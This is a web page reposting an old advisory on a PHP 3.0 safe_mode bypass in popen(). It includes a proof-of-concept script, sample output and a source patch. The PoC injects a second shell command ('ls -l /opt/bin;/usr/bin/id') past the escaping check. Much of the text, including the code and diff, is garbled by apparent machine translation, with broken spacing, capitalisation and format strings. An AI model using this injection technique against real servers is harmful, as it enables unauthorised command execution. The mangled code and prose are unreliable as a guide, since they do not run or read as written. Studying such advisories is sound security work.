PHP3safe_mode invalidation vulnerability _ PHP Tutorial

Source: Internet
Author: User
PHP3safe_mode failure vulnerability. Affected system: PHP3.00 -------------------------------------------------------------------------------- description: PHPVersion3.0 is an HTML embedded script language. Most of the affected systems: PHP 3.00
--------------------------------------------------------------------------------
Description:

PHP Version 3.0 is an HTML embedded scripting language. Most of its syntaxes are transplanted to C, Java, and Perl and combined
PHP features. This language allows web developers to quickly create dynamic web pages.

Because it runs on the web server and allows users to execute code, PHP has built-in security features called 'safe _ mode,
Used to control the execution of commands in the webroot environment that allows PHP operations.

The implementation mechanism is to send shell commands to EscapeShellCmd () through a system call that enforces shell commands ()
This function is used to confirm that commands cannot be executed outside the webroot directory.

In some versions of PHP, when the popen () command is used, EscapeShellCmd () becomes invalid, causing malicious users
To use the 'popen' system call for illegal operations.

--------------------------------------------------------------------------------
Test procedure:

Warning: the following procedures (methods) may be offensive and only for security research and teaching. Users are at your own risk!

<? Php
$ Fp = popen ("ls-l/opt/bin;/usr/bin/id", "r ");
Echo "$ fp <br> n ";
While ($ line = fgets ($ fp, 1024 )):
Printf ("% s <br> n", $ line );
Endwhile;
Pclose ($ fp );
Phpinfo ();
?>

The output result is as follows:

1
Total 53
-Rwxr-xr-x 1 root 52292 Jan 3 22:05 ls
Uid = 30 (wwwrun) gid = 65534 (nogroup) groups = 65534 (nogroup)
And from the configuration values of phpinfo ():
Safe_mode 0 1

--------------------------------------------------------------------------------
Suggestion:
Index: functions/file. c
========================================================== ======================================
RCS file:/repository/php3/functions/file. c, v
Retrieving revision 1.229
Retrieving revision 1.230
Diff-u-r1.229-r1.230
--- Functions/file. c 2000/01/01 04:31:15 1.229
++ Functions/file. c 2000/01/03 21:31:31 1.230
-26,7 + 26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+ ---------------------------------------------------------------------- +
*/
-/* $ Id: file. c, v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $ Id: file. c, v 1.230 2000/01/03 21:31:31 kk Exp $ */
# Include "php. h"
# Include <stdio. h>
@-51,6 + 51,7 @@
# Include "safe_mode.h"
# Include "php3_list.h"
# Include "php3_string.h"
+ # Include "exec. h"
# Include "file. h"
# If HAVE_PWD_H
# If MSVC5

@-575,7 + 576,7 @@
Pval * arg1, * arg2;
FILE * fp;
Int id;
-Char * p;
+ Char * p, * tmp = NULL;
Char * B, buf [1024];
TLS_VARS;

@-600,7 + 601,11 @@
} Else {
Snprintf (buf, sizeof (buf), "% s/% s", php3_ini.safe_mode_exec_dir, arg1-> value. str. val );
}

-Fp = popen (buf, p );

+
+ Tmp = _ php3_escapeshellcmd (buf );
+ Fp = popen (tmp, p );
+ Efree (tmp);/* temporary copy, no longer necessary */
+
If (! Fp ){
Php3_error (E_WARNING, "popen (" % s "," % s ")-% s", buf, p, strerror (errno ));
RETURN_FALSE;

Listen 3.00 -------------------------------------------------------------------------------- description: PHP Version 3.0 is an HTML embedded scripting language. Most of them...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.